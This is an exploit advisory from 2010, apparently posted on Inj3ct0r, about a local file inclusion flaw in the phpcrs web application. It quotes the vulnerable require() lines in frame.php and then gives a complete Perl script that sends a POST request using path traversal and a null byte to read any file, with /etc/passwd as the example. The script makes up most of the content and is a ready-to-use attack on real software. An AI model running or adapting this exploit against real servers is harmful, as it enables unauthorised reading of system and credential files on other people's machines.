phpcrs <= 3.Za / Local File Inclusion Vulnerability
Posted on 07 September 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>phpcrs <= 3.Za / Local File Inclusion Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================================== phpcrs <= 3.Za / Local File Inclusion Vulnerability =================================================== # Author: Pepelux <pepelux[at]enye-sec.org> # Software Link: http://sourceforge.net/projects/phpcrs/ # Version: <= 3-Za - Release Date: 2010-01-02 # Category:: webapps # Google dork: # Tested on: windows & linux Debian #! /usr/bin/perl # -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- # phpcrs <= 3.Za / Local File Inclusion Vulnerability # -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- # # $ Program: phpcrs # $ Version: <= 3-Za # $ Release Date: 2010-01-02 # $ File affected: frame.php # $ Download: http://sourceforge.net/projects/phpcrs/ # # # Found by Pepelux <pepelux[at]enye-sec.org> # eNYe-Sec - www.enye-sec.org # # # --Bug -- # # 123. elseif( isset($_POST['btnStartImport']) ) { # 124. require("../inc/selectSupplierImport.inc.php"); # 125. $importFunction = $_POST['importFunction']; # 126. require("../inc/". $importFunction .".inc.php"); # 127. $importFunction(); # # # In previous version you can exploit LFI by GET. On this version it checks that you use POST request, but # with a little script is possible to exploit again. use LWP::UserAgent; use HTTP::Request::Common; my ($host, $file) = @ARGV ; unless($ARGV[1]){ print " Usage: perl $0 <host> <file_to_edit> "; print " ex: perl $0 http://localhost /etc/passwd "; exit 1; } $host = 'http://'.$host if ($host !~ /^http:/); $host .= "/" if ($host !~ //$/); my $ua = LWP::UserAgent->new(); $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1"); $ua->timeout(10); my $request = HTTP::Request->new(); my $response; my $url = $host."index.php"; my $req = HTTP::Request->new(POST => $host."frame.php"); $req->content_type('application/x-www-form-urlencoded'); $req->content("command=btnStartImport=xxx&importFunction=../../../../../".$file."%00"); $request = $ua->request($req); $result = $request->content; $result =~ s/<[^>]*>//g; print $result . " "; exit; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-07]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>